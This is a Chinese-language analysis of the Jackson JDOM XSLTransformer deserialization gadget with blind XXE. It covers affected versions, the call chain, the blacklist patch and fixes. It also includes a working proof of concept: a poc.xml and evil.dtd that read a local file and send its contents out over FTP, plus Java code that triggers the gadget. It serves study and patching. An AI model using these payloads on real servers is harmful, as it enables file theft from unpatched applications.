Jackson JDOM XSLTransformer Gadget浅析
字数 1417 2025-08-25 22:58:46
Jackson JDOM XSLTransformer Gadget漏洞分析与利用
漏洞概述
Jackson JDOM XSLTransformer Gadget漏洞是一个结合了Jackson反序列化和XXE攻击的安全漏洞,影响Jackson 2.x至2.9.9版本。该漏洞允许攻击者在特定条件下通过恶意JSON消息读取远程服务器上的任意文件。
影响范围
- Jackson版本:2.x ~ 2.9.9
- 依赖库:JDOM 1.x 或 JDOM 2.x
利用条件
- 应用程序通过ObjectMapper对象调用了
enableDefaultTyping方法 - 服务端使用了JDOM 1.x或JDOM 2.x依赖库
漏洞原理
该漏洞利用了Jackson的反序列化机制和JDOM的XSLTransformer类的XXE漏洞:
- 攻击者构造恶意JSON,指定反序列化类为
org.jdom2.transform.XSLTransformer - 传入恶意XML文件URL作为构造参数
- 在反序列化过程中,Jackson会调用XSLTransformer的构造函数
- 构造函数内部调用
newTemplates()方法处理XML - 最终底层调用SAXParser解析XML时未做XXE防护
- 导致XXE攻击成功执行
漏洞复现步骤
环境搭建
- 创建Maven项目,添加以下依赖:
<dependencies>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.9.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.9.9</version>
</dependency>
<dependency>
<groupId>org.jdom</groupId>
<artifactId>jdom2</artifactId>
<version>2.0.6</version>
</dependency>
</dependencies>
准备攻击文件
- 创建测试文件
c:/hello.txt(目标读取的文件) - 编写
poc.xml(Blind XXE利用):
<?xml version="1.0" ?>
<!DOCTYPE any[
<!ENTITY % file SYSTEM "file:///c:/hello.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1:4444/evil.dtd">
%remote;
%send;
]>
<foo></foo>
- 编写
evil.dtd:
<!ENTITY % ppp "<!ENTITY % send SYSTEM 'ftp://127.0.0.1/%file;'>">
%ppp;
启动服务
- 使用Python启动HTTP服务(端口4444):
python -m http.server 4444
- 使用IPOP V4.1软件搭建FTP服务
执行漏洞利用
编写并执行POC代码:
package com.jacksonTest;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
public class Poc {
public static void main(String[] args) {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String payload = "[\"org.jdom2.transform.XSLTransformer\", \"http://127.0.0.1:4444/poc.xml\"]";
try {
mapper.readValue(payload, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}
漏洞分析
- 调用链分析:
mapper.readValue
-> XSLTransformer
-> newTemplates()
-> XSLTC.compile()
-> Parser.parse()
-> SAXParser.parse()
- 关键点:
enableDefaultTyping允许指定任意类进行反序列化- XSLTransformer构造函数接受外部URL参数
- 底层XML解析未设置XXE防护:
// 缺失的安全设置(OWASP推荐): factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
补丁分析
Jackson在后续版本中将以下类加入黑名单:
org.jdom2.transform.XSLTransformerorg.jdom.transform.XSLTransformer
补丁提交记录:
https://github.com/FasterXML/jackson-databind/commit/5f7c69bba07a7155adde130d9dee2e54a54f1fa5
修复建议
- 升级Jackson-databind到最新版本
- 关闭
enableDefaultTyping功能 - 如果必须使用,应配置安全的
PolymorphicTypeValidator
参考链接
- Jackson官方文档:https://tool.oschina.net/apidocs/apidoc?api=jackson-1.9.9
- 漏洞报告:https://github.com/FasterXML/jackson-databind/issues/2341
- Debian漏洞报告:https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=930750
- 补丁提交:https://github.com/FasterXML/jackson-databind/commit/5f7c69bba07a7155adde130d9dee2e54a54f1fa5